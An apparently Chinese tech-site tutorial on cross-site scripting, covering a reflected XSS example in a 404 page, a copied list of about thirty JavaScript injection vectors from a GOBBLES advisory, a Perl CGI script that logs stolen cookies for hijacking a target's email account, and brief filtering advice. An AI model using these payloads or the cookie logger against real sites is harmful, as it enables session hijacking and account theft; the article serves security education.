扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条
随着网络应用的普及,跨站脚本攻击漏洞经常在一些安全站点发布,这里笔者将整理一些对XSS跨站挂马的一些看法,错误之处请多指点。
什么是跨站脚本(XSS)?
所谓跨站脚本攻击是指在远程WEB页面的html代码中插入具有恶意目的代码,用户误认为该页面是可信赖的,当用户打开该页面,浏览器会自动下载恶意代码,运行其中的脚本。通常跨站脚本被称为"XSS",这是为了与样式表"CSS"进行区分所形成的习惯,所以当你听某人提到CSS或者XSS安全漏洞时,通常指得是跨站脚本攻击。
XSS与脚本注射的区别?
在开始XSS之前,我们需要明白并非所有在网页中插入利用脚本的攻击都被称为XSS。脚本注入是我们常见的另外一种情形,他们的区别在以下两点:
1、脚本注入攻击会将攻击者插入的脚本保存在远程WEB页面里,如SQL注入、XPath注入。
2、跨站脚本攻击相对注入脚本攻击是临时的行为,执行后便从页面中消失。
常见的可被插入脚本的网页有以下几种:
HTML
JavaScript (本文讨论)
VBScript
ActiveX
Flash
浅析XSS漏洞
许多cgi/php脚本执行时,如果它发现客户提交的请求页面并不存在或有其他类型的错误时,出错信息会通过一个显示错误内容的html页面发送到给访问者。例如: 404错误,提示页面不存在。
我们一般对这样的信息不会注意,但是现在要研究CSS漏洞的成因,我们还是仔细看一下。
例:www.somesite.tld/cgi-bin/program.cgi?page=downloads.html
该URL指向的连接是有效的,但是如果我们把后面的downloads.html替换成brainrawt_owns_ me.html,一个包含404错误信息的页面将反馈给访问者的浏览器。这里我们需要思考,错误信息是如何写入到html文件里呢?
注意:下面仅仅是一个例子,该页面存在XSS漏洞,我们可以插入一些Javascript代码到页面里。
当我们提交这个URL的时候,在我们的浏览器中弹出一个消息框,"XSS_Vuln_Testing"。
这个例子只是一个XSS漏洞的简单演示,并无实际意义,只用以说明问题所在。
下面我们分析一下造成该运行结果的原因,program.cgi对我们的输入没有经过有效过滤处理,就直接写入404错误页面中,结果创建了一个页面,如下:
<html>
<b>404</b> - <script>alert(’XSS_Vuln_Testing’)</script> Not Found!
</html>
其中的javascript脚本通过浏览器解释执行,然后就出现了你所看到的结果。
利用XSS
如同前面所提到,如果用户提交的请求不能得到满足,那么服务器端脚本会把输入信息写入一个html文件,当服务器端程序对写入html文件的数据没有进行有效过滤,恶意脚本就可以插入到该html页面中。其他用户浏览该连接的时候脚本将通过客户端浏览器解释执行。
实例:
假设你发现myemailserver.tld有CSS漏洞,你想要获得其中一个人的email帐号,比如我们的目标是A。
已知某存在XSS漏洞的URL www.myemailserver.tld/cgi-bin/news.cgi?article=59035
接修URL如下:
www.myemailserver.tld/cgi-bin/news.cgi?article=hax0red
这会创建了一个错误页面,我们得到如下信息:Invalid Input! [article=hax0red]
当插入下面这样的javascript代码时,你的屏幕上会弹出一个包含test的消息框。
<snip>
copy from:GOBBLES SECURITY ADVISORY #33
Here is a cut-n-paste collection of typical JavaScript-injection hacks
you may derive some glee from playing with.
<a href="javascript#[code]">
<div onmouseover="[code]">
<img src="javascript:[code]">
<img dynsrc="javascript:[code]">[IE]
<input type="image" dynsrc="javascript:[code]">
[IE]
<bgsound src="javascript:[code]">
[IE]
&<script>[code]</script>
&{[code]}; [N4]
<img src=&{[code]};>[N4]
<link rel="stylesheet" href="javascript:[code]">
<iframe src="vbscript:[code]">
[IE]
<img src="mocha:[code]">
[N4]
<img src="livescript:[code]">
[N4]
<a href="about:<script>[code]</script>">
<meta http-equiv="refresh" content="0;url=javascript:[code]">
<body onload="[code]">
<div style="background-image: url(javascript:[code]);">
<div style="behaviour: url([link to code]);">[IE]
<div style="binding: url([link to code]);">[Mozilla]
<div style="width: expression([code]);">[IE]
<style type="text/javascript">[code]</style> [N4]
<object classid="clsid:..." codebase="javascript:[code]">[IE]
<style><!--</style><script>[code]//--></script>
<![CDATA[<!--]]><script>[code]//--></script>
<!-- -- --><script>[code]</script><!-- -- -->
<script>[code]</script>
<img src="blah"
onmouseover="[code]">
<img src="blah>"
onmouseover="[code]">
<xml src="javascript:[code]">
<xml id="X"><a><b><script>[code]</script>;</b></a></xml>
<div datafld="b" dataformatas="html" datasrc="#X"></div>
[\xC0][\xBC]script>[code][\xC0][\xBC]/script> [UTF-8; IE, Opera]
----Copied from GOBBLES SECURITY ADVISORY #33----
</snip>
获取cookie并且做记录实例:
注意:要使它工作,你的浏览器必须允许接受http://website.tld站点发送的cookies,使用javascript创建访问者的cookies,javascript脚本放在index.html文件中。
假设http://website.tld存在XSS攻击的安全隐患,存在漏洞的连接是:
http://website.tld/program.cgi?input=<恶意javascript>
我们创建这样一个连接:
---------evil_cookie_logger.cgi-----------
#!/usr/bin/perl
# evil_cookie_logger.cgi
# remote cookie logging CGI coded by BrainRawt
#
# NOTE: coded as a proof of concept script when testing for
# cross-site scripting vulnerabilities.
$borrowed_info = $ENV{’QUERY_STRING’};
$borrowed_info =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
open(EVIL_COOKIE_LOG, ">>evil_cookie_log") or print "Content-type:
text/html\n\n something went wrong\n";
print EVIL_COOKIE_LOG "$borrowed_info\n";
print "Content-type: text/html\n\n";
close(EVIL_COOKIE_LOG);
------------------------------------------
该脚本首先通过 $ENV{’QUERY_STRING’}获得cookie,打印到$borrowed_info变量里,通过open(EVIL_COOKIE_LOG, ">>evil_cookie_log"),把cookie信息保存到evil_cookie_log文件。
注意:上面的脚本,可能在一些浏览器或者站点上不能执行,用户需要根据自己的情况进行修改。
如何防范XSS攻击?
1、在WEB浏览器上禁用javascript脚本
2、开发者要仔细审核代码,对提交输入数据进行有效检查,如"<"和">",可以把"<",">"转换为<,>
注意:由于XSS漏洞可被利用的多样性,程序员自己要明白具体需要过滤的字符,这主要依赖于所开发程序的作用,建议过滤掉所有元字符,包括"="。
对受害者来说不要访问包含<script>字符的连接,通常正规可信的URL不会包括任何脚本元素。
补充:现已存在利用XSS漏洞挂马现象,用户及网站管理员需警惕。
如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。